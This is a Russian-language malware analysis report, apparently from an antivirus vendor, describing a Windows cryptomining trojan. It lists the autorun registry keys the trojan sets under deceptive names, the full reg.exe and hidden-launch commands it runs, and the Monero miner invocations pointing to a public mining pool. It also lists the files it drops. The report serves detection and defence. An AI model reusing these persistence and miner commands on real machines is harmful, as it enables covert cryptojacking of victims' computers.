Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Window' = 'C:\Temp\start.bat'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'svcchost' = 'C:\Temp\start3.bat'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Windowss' = 'C:\Temp\start1.bat'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Window' = 'C:\Temp\start.bat'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'svcchost' = 'C:\Temp\start3.bat'
Вредоносные функции:
Запускает на исполнение:
- 'C:\Temp\hstart.exe' /NOCONSOLE /HIGH "C:\Temp\Windowss.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u storywork777@mail.ru -p x"
- 'C:\Temp\hstart.exe' /NOCONSOLE /HIGH "C:\Temp\svcchost.exe -user storywork777@mail.ru --xmr 2"
- 'C:\Temp\hstart.exe' /NOCONSOLE /HIGH "C:\Temp\window.exe -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u storywork777@mail.ru -p x"
- '<SYSTEM32>\cmd.exe' /c ""C:\Temp\start3.bat" "
- '<SYSTEM32>\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Window" /t REG_SZ /d "C:\Temp\start.bat" /f
- '<SYSTEM32>\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "svcchost" /t REG_SZ /d "C:\Temp\start3.bat" /f
- '<SYSTEM32>\reg.exe' Add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windowss" /t REG_SZ /d "C:\Temp\start1.bat" /f
- 'C:\Temp\window.exe' -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u storywork777@mail.ru -p x
- '<SYSTEM32>\cmd.exe' /c ""C:\Temp\start1.bat" "
- '<SYSTEM32>\cmd.exe' /c ""C:\Temp\auto.bat" "
- '<SYSTEM32>\cmd.exe' /c ""C:\Temp\auto1.bat" "
- '<SYSTEM32>\cmd.exe' /c ""C:\Temp\1.bat" "
- 'C:\Temp\1.exe' -p123 -dC:\Temp
- '<SYSTEM32>\cmd.exe' /c ""C:\Temp\start.bat" "
- '<SYSTEM32>\reg.exe' Add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "svcchost" /t REG_SZ /d "C:\Temp\start3.bat" /f
- '<SYSTEM32>\reg.exe' Add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Window" /t REG_SZ /d "C:\Temp\start.bat" /f
- '<SYSTEM32>\cmd.exe' /c ""C:\Temp\auto3.bat" "
Изменения в файловой системе:
Создает следующие файлы:
- C:\Temp\msvcp110.dll
- C:\Temp\msvcr110.dll
- C:\Temp\pthreadVC2.dll
- C:\Temp\cudart32_65.dll
- C:\Temp\cudart64_60.dll
- C:\Temp\libeay32.dll
- C:\Temp\Qt5Core.dll
- C:\Temp\ssleay32.dll
- C:\Temp\vccorlib110.dll
- C:\Temp\Data.bin
- C:\Temp\Qt5Network.dll
- C:\Temp\Qt5WebSockets.dll
- C:\Temp\platforms\qwindows.dll
- C:\Temp\auto.bat
- C:\Temp\auto1.bat
- C:\Temp\auto3.bat
- C:\Temp\1.bat
- C:\Temp\1.exe
- C:\Temp\config.txt
- C:\Temp\start.bat
- C:\Temp\svcchost.exe
- C:\Temp\window.exe
- C:\Temp\Windowss.exe
- C:\Temp\start1.bat
- C:\Temp\start3.bat
- C:\Temp\hstart.exe
Другое:
Ищет следующие окна:
- ClassName: 'Shell_TrayWnd' WindowName: ''
- ClassName: 'EDIT' WindowName: ''
